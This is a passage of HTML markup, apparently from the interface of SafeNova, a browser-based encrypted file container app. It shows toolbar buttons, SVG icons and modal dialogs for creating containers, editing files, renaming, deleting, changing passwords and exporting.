d=\"M6.1 1.5 5.7 3.1a5.2 5.2 0 0 0-1.4.8L2.7 3.5 1.2 6l1.4 1.1a5 5 0 0 0 0 1.8L1.2 10l1.5 2.5 1.6-.4c.4.3.9.6 1.4.8l.4 1.6h3l.4-1.6c.5-.2 1-.5 1.4-.8l1.6.4L13.8 10l-1.4-1.1a5 5 0 0 0 0-1.8L13.8 6 12.3 3.5l-1.6.4a5.2 5.2 0 0 0-1.4-.8l-.4-1.6H6.1Z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/>\n                </svg>\n                Environment\n            </button>\n            <div class=\"separator\"></div>\n            <button class=\"btn btn-ghost btn-sm\" id=\"btn-upload-toolbar\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M7 9V1M3 5l4-4 4 4M2 11h10v2H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n                Import\n            </button>\n            <button class=\"btn btn-ghost btn-sm\" id=\"btn-new-file-toolbar\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M2 1h7l3 3v9H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    <path d=\"M9 1v3h3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    <path d=\"M7 7v4M5 9h4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n                New File\n            </button>\n            <button class=\"btn btn-ghost btn-sm\" id=\"btn-new-folder-toolbar\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M1 3h5l1.5 2H13v7H1z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    <path d=\"M7 7v3M5.5 8.5h3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                </svg>\n                New Folder\n            </button>\n\n            <!-- Mobile burger button — hidden on desktop via CSS -->\n            <button class=\"btn btn-ghost btn-icon btn-sm topbar-burger\" id=\"topbar-burger\" title=\"Menu\" aria-label=\"Menu\">\n                <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><rect x=\"2\" y=\"3.5\" width=\"12\" height=\"1.5\" rx=\".75\" fill=\"currentColor\"/><rect x=\"2\" y=\"7.25\" width=\"12\" height=\"1.5\" rx=\".75\" fill=\"currentColor\"/><rect x=\"2\" y=\"11\" width=\"12\" height=\"1.5\" rx=\".75\" fill=\"currentColor\"/></svg>\n            </button>\n        </div>\n\n        <!-- Mobile topbar dropdown — hidden on desktop -->\n        <div class=\"topbar-dropdown\" id=\"topbar-dropdown\">\n            <button class=\"topbar-dd-item\" id=\"topbar-dd-settings\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 15 15\" fill=\"none\"><path d=\"M7.5 9.5a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M6.1 1.5 5.7 3.1a5.2 5.2 0 0 0-1.4.8L2.7 3.5 1.2 6l1.4 1.1a5 5 0 0 0 0 1.8L1.2 10l1.5 2.5 1.6-.4c.4.3.9.6 1.4.8l.4 1.6h3l.4-1.6c.5-.2 1-.5 1.4-.8l1.6.4L13.8 10l-1.4-1.1a5 5 0 0 0 0-1.8L13.8 6 12.3 3.5l-1.6.4a5.2 5.2 0 0 0-1.4-.8l-.4-1.6H6.1Z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/></svg>\n                Environment\n            </button>\n            <div class=\"topbar-dd-sep\"></div>\n            <button class=\"topbar-dd-item\" id=\"topbar-dd-upload\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\"><path d=\"M7 9V1M3 5l4-4 4 4M2 11h10v2H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>\n                Import File\n            </button>\n            <button class=\"topbar-dd-item\" id=\"topbar-dd-newfile\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\"><path d=\"M2 1h7l3 3v9H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/><path d=\"M9 1v3h3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/><path d=\"M7 7v4M5 9h4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>\n                New File\n            </button>\n            <button class=\"topbar-dd-item\" id=\"topbar-dd-newfolder\">\n                <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\"><path d=\"M1 3h5l1.5 2H13v7H1z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/><path d=\"M7 7v3M5.5 8.5h3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>\n                New Folder\n            </button>\n        </div>\n\n        <div class=\"desktop-area\" id=\"desktop-area\" tabindex=\"0\">\n            <div class=\"drop-overlay\" id=\"drop-overlay\">\n                <svg width=\"48\" height=\"48\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <path d=\"M24 8v24M12 20l12-12 12 12M8 36h32v4H8z\" stroke=\"currentColor\" stroke-width=\"2.5\" stroke-linecap=\"square\" />\n                </svg>\n                Drop files to upload and encrypt\n            </div>\n            <div class=\"selection-bar\" id=\"selection-bar\"></div>\n        </div>\n\n        <div class=\"taskbar\">\n            <svg class=\"taskbar-logo-icon\" width=\"16\" height=\"16\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                <defs>\n                    <linearGradient id=\"tb-sg\" x1=\"16\" y1=\"1\" x2=\"16\" y2=\"31\" gradientUnits=\"userSpaceOnUse\">\n                        <stop offset=\"0%\" stop-color=\"#1565c0\" />\n                        <stop offset=\"100%\" stop-color=\"#0d47a1\" />\n                    </linearGradient>\n                </defs>\n                <path d=\"M16 2L3.5 7v9c0 9 5 13.4 12.5 14.5C19.5 29.4 28.5 25 28.5 16V7z\" fill=\"url(#tb-sg)\" />\n                <path d=\"M16 3.5L5 8v8.5c0 7.5 4 11.5 11 12.5\" fill=\"none\" stroke=\"rgba(255,255,255,.18)\" stroke-width=\"1\" />\n                <path d=\"M19.5 6L11 18.5h6.5L13.5 27 24 14h-6.5z\" fill=\"#4ec9b0\" stroke=\"rgba(255,255,255,.25)\" stroke-width=\".7\" stroke-linejoin=\"round\" />\n            </svg>\n            <span class=\"taskbar-container-name\" id=\"taskbar-name\">-</span>\n            <span class=\"taskbar-sep\"></span>\n            <div class=\"taskbar-storage\">\n                <span id=\"taskbar-size-text\">-</span>\n                <div class=\"taskbar-bar-wrap\">\n                    <div class=\"taskbar-bar-fill\" id=\"taskbar-bar-fill\" style=\"width:0%\"></div>\n                </div>\n                <span id=\"taskbar-size-pct\">0%</span>\n            </div>\n            <button class=\"btn btn-danger btn-sm\" id=\"btn-lock-taskbar\" style=\"margin-left:8px\">\n                <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                    <rect x=\"1\" y=\"5\" width=\"10\" height=\"7\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.4\" />\n                    <path d=\"M3 5V4a3 3 0 016 0v1\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                </svg>\n                Exit &amp; Kill Session\n            </button>\n        </div>\n    </div>\n\n    <!-- Hidden file inputs -->\n    <input type=\"file\" id=\"file-input\" multiple style=\"display:none\">\n    <input type=\"file\" id=\"import-container-input\" accept=\".safenova,.zip,.twc\" style=\"display:none\">\n\n    <!-- ==================== CONTEXT MENU ==================== -->\n    <div class=\"ctx-menu\" id=\"ctx-menu\"></div>\n\n    <!-- ==================== MODAL OVERLAY ==================== -->\n    <div class=\"modal-overlay\" id=\"modal-overlay\">\n\n        <!-- New Container Modal -->\n        <div class=\"modal\" id=\"modal-new-container\" style=\"display:none;min-width:420px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Create New Container</span>\n                <button class=\"modal-close\" id=\"modal-nc-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Container Name</label>\n                    <input type=\"text\" class=\"input\" id=\"nc-name\" placeholder=\"e.g. Personal, Work, Archive\">\n                </div>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Password</label>\n                    <div class=\"input-wrap\">\n                        <input type=\"password\" class=\"input\" id=\"nc-pw\" placeholder=\"Choose a strong password\">\n                        <button class=\"input-eye\" id=\"nc-pw-eye\" tabindex=\"-1\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M1 8s2.5-5 7-5 7 5 7 5-2.5 5-7 5-7-5-7-5z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                <circle cx=\"8\" cy=\"8\" r=\"2.5\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                            </svg>\n                        </button>\n                    </div>\n                    <div class=\"pw-strength\" id=\"nc-pw-strength\" style=\"width:0%\"></div>\n                    <div class=\"pw-strength-row\" id=\"nc-pw-strength-label\"></div>\n                </div>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Confirm Password</label>\n                    <input type=\"password\" class=\"input\" id=\"nc-pw2\" placeholder=\"Repeat password\">\n                </div>\n                <div class=\"notice-box warn\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" style=\"flex-shrink:0;margin-top:1px\">\n                        <path d=\"M7 1L1 13h12z\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linejoin=\"round\" />\n                        <path d=\"M7 5v4\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" />\n                        <circle cx=\"7\" cy=\"10.5\" r=\"0.7\" fill=\"currentColor\" />\n                    </svg>\n                    <span>The password <strong>cannot be recovered</strong>. If lost, all data in this container will be permanently inaccessible.</span>\n                </div>\n                <div class=\"notice-box danger\" style=\"margin-top:10px\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" style=\"flex-shrink:0;margin-top:1px\">\n                        <circle cx=\"7\" cy=\"7\" r=\"6\" stroke=\"currentColor\" stroke-width=\"1.3\" />\n                        <path d=\"M7 4v3.5\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" />\n                        <circle cx=\"7\" cy=\"10\" r=\"0.7\" fill=\"currentColor\" />\n                    </svg>\n                    <span><strong>SafeNova has no access to your data and takes no responsibility for data loss.</strong> All containers are stored exclusively in your browser.<br>Clearing browser data or switching devices will permanently destroy all files without the ability to recover them.</span>\n                </div>\n                <label style=\"display:flex;align-items:center;gap:9px;margin-top:10px;cursor:pointer;user-select:none\">\n                    <input type=\"checkbox\" id=\"nc-agree\" style=\"width:15px;height:15px;accent-color:var(--accent);cursor:pointer;flex-shrink:0\">\n                    <span style=\"font-size:12px;color:var(--text-dim);line-height:1.4\">I understand that I am solely responsible for my data</span>\n                </label>\n            </div>\n            <div class=\"modal-footer\">\n                <button id=\"nc-hwkey-btn\" title=\"Mix passkey entropy into salt\">\n                    <svg width=\"13\" height=\"13\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"1\" y=\"6\" width=\"9\" height=\"7\" rx=\"1.2\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M3.5 6V4a2.5 2.5 0 015 0v2\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\"/><circle cx=\"11.5\" cy=\"5.5\" r=\"1.8\" stroke=\"currentColor\" stroke-width=\"1.2\"/><path d=\"M11.5 7.3V9.5\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\"/></svg>\n                    <span>Use passkey for salt</span>\n                </button>\n                <button class=\"btn\" id=\"nc-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"nc-create\" disabled>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M7 1v12M1 7h12\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"square\" />\n                    </svg>\n                    Create Container\n                </button>\n            </div>\n        </div>\n\n        <!-- Text Editor Modal -->\n        <div class=\"modal modal-editor\" id=\"modal-editor\" style=\"display:none\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\" id=\"editor-title\">Text Editor</span>\n                <div style=\"display:flex;gap:6px;align-items:center\">\n                    <span class=\"badge encrypted\">AES-256</span>\n                    <button class=\"btn btn-ghost btn-sm\" id=\"btn-wordwrap\" title=\"Toggle Word Wrap\">\n                        <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M1 3h12M1 7h9a2 2 0 010 4H7\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/>\n                            <path d=\"M8 9.5L6 11l2 1.5\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" stroke-linejoin=\"miter\"/>\n                        </svg>\n                        Wrap\n                    </button>\n                    <button class=\"btn btn-primary btn-sm\" id=\"btn-save-editor\">\n                        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <rect x=\"1\" y=\"1\" width=\"10\" height=\"10\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.3\" />\n                            <rect x=\"3\" y=\"1\" width=\"6\" height=\"4\" stroke=\"currentColor\" stroke-width=\"1.3\" />\n                            <rect x=\"3\" y=\"6\" width=\"5\" height=\"4\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                        </svg>\n                        Save\n                    </button>\n                    <button class=\"modal-close\" id=\"editor-close\">\n                        <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                    </button>\n                </div>\n            </div>\n            <div class=\"editor-area\">\n                <textarea class=\"code-editor\" id=\"editor-textarea\" spellcheck=\"false\"></textarea>\n            </div>\n            <div class=\"editor-meta\">\n                <span id=\"editor-meta-chars\">0 chars</span>\n                <span id=\"editor-meta-lines\">0 lines</span>\n                <span id=\"editor-meta-modified\" style=\"color:var(--orange);display:none\">Modified</span>\n            </div>\n            <!-- Unsaved changes inline confirmation -->\n            <div id=\"editor-unsaved-dialog\" style=\"display:none;position:absolute;inset:0;background:rgba(0,0,0,.58);z-index:20;align-items:center;justify-content:center\">\n                <div style=\"background:var(--bg2);border:1px solid var(--border2);border-radius:var(--r);padding:24px;min-width:300px;max-width:90%;display:flex;flex-direction:column;gap:16px;box-shadow:var(--shadow)\">\n                    <div style=\"font-size:14px;font-weight:600;color:var(--text-bright)\">Unsaved Changes</div>\n                    <div style=\"font-size:13px;color:var(--text-dim);line-height:1.5\">You have unsaved changes. What would you like to do?</div>\n                    <div style=\"display:flex;gap:8px;justify-content:flex-end;flex-wrap:wrap\">\n                        <button class=\"btn\" id=\"editor-unsaved-cancel\">Cancel</button>\n                        <button class=\"btn btn-danger\" id=\"editor-unsaved-discard\">Don't Save</button>\n                        <button class=\"btn btn-primary\" id=\"editor-unsaved-save\">Save &amp; Close</button>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <!-- File Viewer Modal -->\n        <div class=\"modal modal-viewer\" id=\"modal-viewer\" style=\"display:none\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\" id=\"viewer-title\">File Viewer</span>\n                <div style=\"display:flex;gap:6px;align-items:center\">\n                    <button class=\"btn btn-ghost btn-sm\" id=\"btn-download-viewer\">\n                        <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M6.5 1v8M3 6l3.5 4 3.5-4M1 12h11\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                        </svg>\n                        Export\n                    </button>\n                    <button class=\"modal-close\" id=\"viewer-close\">\n                        <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                            <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                    </button>\n                </div>\n            </div>\n            <div class=\"viewer-content\" id=\"viewer-content\"></div>\n        </div>\n\n        <!-- Properties Modal -->\n        <div class=\"modal modal-props\" id=\"modal-props\" style=\"display:none\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Properties</span>\n                <button class=\"modal-close\" id=\"props-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\" id=\"props-body\"></div>\n            <div class=\"modal-footer\">\n                <button class=\"btn btn-primary\" id=\"props-ok\">OK</button>\n            </div>\n        </div>\n\n        <!-- Rename Modal -->\n        <div class=\"modal\" id=\"modal-rename\" style=\"display:none;min-width:340px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Rename</span>\n                <button class=\"modal-close\" id=\"rename-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">New name</label>\n                    <input type=\"text\" class=\"input\" id=\"rename-input\">\n                </div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"rename-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"rename-ok\">Rename</button>\n            </div>\n        </div>\n\n        <!-- Delete Confirm Modal -->\n        <div class=\"modal\" id=\"modal-delete\" style=\"display:none;min-width:340px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\" style=\"color:var(--red)\">Confirm Delete</span>\n                <button class=\"modal-close\" id=\"delete-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <p id=\"delete-msg\" style=\"font-size:13px;line-height:1.6\"></p>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"delete-cancel\">Cancel</button>\n                <button class=\"btn btn-danger\" id=\"delete-ok\">\n                    <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M1.5 3.5h10M4 3.5V2H9v1.5M2.5 3.5L3.5 11h6l1-7.5\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                    Delete\n                </button>\n            </div>\n        </div>\n\n        <!-- New Text File Modal -->\n        <div class=\"modal\" id=\"modal-new-text\" style=\"display:none;min-width:340px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">New Text File</span>\n                <button class=\"modal-close\" id=\"nf-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">File name</label>\n                    <input type=\"text\" class=\"input\" id=\"nf-name\" placeholder=\"e.g. notes.txt\">\n                </div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"nf-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"nf-ok\">Create</button>\n            </div>\n        </div>\n\n        <!-- New Folder Modal -->\n        <div class=\"modal\" id=\"modal-new-folder\" style=\"display:none;min-width:340px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">New Folder</span>\n                <button class=\"modal-close\" id=\"nd-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Folder name</label>\n                    <input type=\"text\" class=\"input\" id=\"nd-name\" placeholder=\"e.g. Documents\">\n                </div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"nd-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"nd-ok\">Create Folder</button>\n            </div>\n        </div>\n\n        <!-- Delete Container Confirm -->\n        <div class=\"modal\" id=\"modal-del-container\" style=\"display:none;min-width:420px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\" style=\"color:var(--red)\">Delete Container</span>\n                <button class=\"modal-close\" id=\"dc-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"del-container-warning\">\n                    <svg width=\"28\" height=\"28\" viewBox=\"0 0 28 28\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M14 3L2 24h24L14 3z\" fill=\"var(--red)\" opacity=\".18\" stroke=\"var(--red)\" stroke-width=\"1.5\" stroke-linejoin=\"round\" />\n                        <path d=\"M14 11v6\" stroke=\"var(--red)\" stroke-width=\"2\" stroke-linecap=\"square\" />\n                        <circle cx=\"14\" cy=\"20.5\" r=\"1.2\" fill=\"var(--red)\" />\n                    </svg>\n                    <div>\n                        <div style=\"font-weight:700;font-size:14px;color:var(--red);margin-bottom:4px\">This action is irreversible!</div>\n                        <div style=\"font-size:12px;color:var(--text-dim);line-height:1.5\">All files inside container <strong id=\"dc-name\" style=\"color:var(--text)\"></strong> will be permanently erased. There is no recovery.</div>\n                    </div>\n                </div>\n                <p style=\"font-size:13px;line-height:1.6;margin-top:8px\" id=\"dc-msg\"></p>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"dc-cancel\">Cancel</button>\n                <button class=\"btn btn-danger\" id=\"dc-ok\" disabled>\n                    <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M1.5 3.5h10M4 3.5V2H9v1.5M2.5 3.5L3.5 11h6l1-7.5\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                    <span id=\"dc-ok-label\">Wait… 8</span>\n                </button>\n            </div>\n        </div>\n\n        <!-- ==================== CHANGE PASSWORD MODAL ==================== -->\n        <div class=\"modal\" id=\"modal-change-pw\" style=\"display:none;min-width:420px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Change Password</span>\n                <button class=\"modal-close\" id=\"cp-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Current Password</label>\n                    <input type=\"password\" class=\"input\" id=\"cp-old\" placeholder=\"Enter current password\" autocomplete=\"current-password\">\n                </div>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">New Password</label>\n                    <input type=\"password\" class=\"input\" id=\"cp-new\" placeholder=\"Enter new password\" autocomplete=\"new-password\">\n                </div>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Confirm New Password</label>\n                    <input type=\"password\" class=\"input\" id=\"cp-new2\" placeholder=\"Repeat new password\" autocomplete=\"new-password\">\n                </div>\n                <div class=\"notice-box warn\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" style=\"flex-shrink:0;margin-top:1px\">\n                        <path d=\"M7 1L1 13h12z\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linejoin=\"round\" />\n                        <path d=\"M7 5v4\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" />\n                        <circle cx=\"7\" cy=\"10.5\" r=\"0.7\" fill=\"currentColor\" />\n                    </svg>\n                    <span>All files will be re-encrypted with the new password. <strong>Do not close the browser</strong> during this process.</span>\n                </div>\n                <div class=\"unlock-error\" id=\"cp-error\"></div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"cp-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"cp-ok\">Change Password</button>\n            </div>\n        </div>\n\n        <!-- ==================== RENAME CONTAINER MODAL ==================== -->\n        <div class=\"modal\" id=\"modal-rename-container\" style=\"display:none;min-width:420px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Rename Container</span>\n                <button class=\"modal-close\" id=\"rc-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Container Name</label>\n                    <input type=\"text\" class=\"input\" id=\"rc-name\" placeholder=\"Container name\">\n                </div>\n                <div class=\"unlock-error\" id=\"rc-error\"></div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"rc-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"rc-ok\">Rename</button>\n            </div>\n        </div>\n\n        <!-- ==================== EXPORT CONFIRM MODAL ==================== -->\n        <div class=\"modal\" id=\"modal-export-confirm\" style=\"display:none;min-width:340px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Cannot Preview File</span>\n                <button class=\"modal-close\" id=\"ec-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <p style=\"font-size:13px;line-height:1.6\">This file type cannot be opened in the browser.</p>\n                <div class=\"notice-box\" style=\"margin-top:8px\">\n                    <span id=\"ec-filename\" style=\"font-weight:600\"></span> — export this file to your computer?\n                </div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"ec-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"ec-ok\">\n                    <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M6.5 1v8M3 6l3.5 3.5L10 6M1 11h11\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                    </svg>\n                    Export File\n                </button>\n            </div>\n        </div>\n\n        <!-- ==================== EXPORT PASSWORD MODAL ==================== -->\n        <div class=\"modal modal-export-pw\" id=\"modal-export-pw\" style=\"display:none;width:400px;min-width:360px;max-width:400px\">\n            <div class=\"modal-header\">\n                <div style=\"display:flex;align-items:center;gap:10px\">\n                    <div style=\"width:32px;height:32px;border-radius:8px;background:rgba(0,120,212,.12);display:flex;align-items:center;justify-content:center;flex-shrink:0\">\n                        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" style=\"color:var(--accent)\">\n                            <path d=\"M8 10V2M4 5l4-4 4 4M2 13h12\" stroke=\"currentColor\" stroke-width=\"1.4\" 